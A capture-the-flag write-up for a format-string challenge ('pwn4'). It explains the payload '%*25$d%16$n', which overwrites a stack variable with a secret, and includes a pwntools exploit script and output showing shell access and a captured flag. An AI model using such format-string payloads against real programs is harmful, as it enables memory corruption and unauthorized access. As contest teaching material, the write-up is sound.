Tags: format-string pwn
Rating: 5.0
### Explanation
Basic idea: copy the secret (4 bytes) from the stack to our guess variable (also on the stack) and pass the check.
- `%<N>d` normally this lets us print N characters total (a decimal int padded to N spaces).
- `%*25$d` the asterisk lets us choose the value for N from the stack, so we choose 25$, which is the position of the secret value: this will therefore print a number of chars equal to the secret value.
- `%16$n` this will then write the number of printed chars to our variable on the stack (position 16) that is later compared with the secret.
Final format string: `%*25$d%16$n`. This will print *A LOT* of characters back (like 1GB of spaces), but works after trying a few times and getting a small secret value.
### Code
#!/usr/bin/env python2
# Author: Marco Bonelli - @mebeim
# Date : 2020-04-04
# https://gist.github.com/mebeim/f74504ec20399ecb9384f826391f7598
from pwn import *
HOST = 'pwn4-01.play.midnightsunctf.se'
PORT = 10004
EXE = './pwn4'
if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process(EXE)
r.recvuntil("user: ")
r.sendline("%*25$d%16$n")
r.recvuntil("code: ")
r.sendline(str(10))
r.recvuntil("logged: ")
tot = 0
p = log.progress('Receiving all data')
log.info('Press CTRL+C to switch to interactive...');
while 1:
try:
data = r.recv(1000 * 1000)
tot += len(data)
p.status('%d MB', tot/1e6)
except:
break
p.success('done (%d MB)', tot/1e6)
r.interactive()
### Output
[+] Opening connection to pwn4-01.play.midnightsunctf.se on port 10004: Done
[+] Receiving all data: done (1 MB)
[*] Press CTRL+C to switch to interactive...
[*] Switching to interactive mode
$ cat flag
midnight{12_pwny_men_33269c083256f5f3}
$
[*] Interrupted
[*] Closed connection to pwn4-01.play.midnightsunctf.se port 10004
thanks!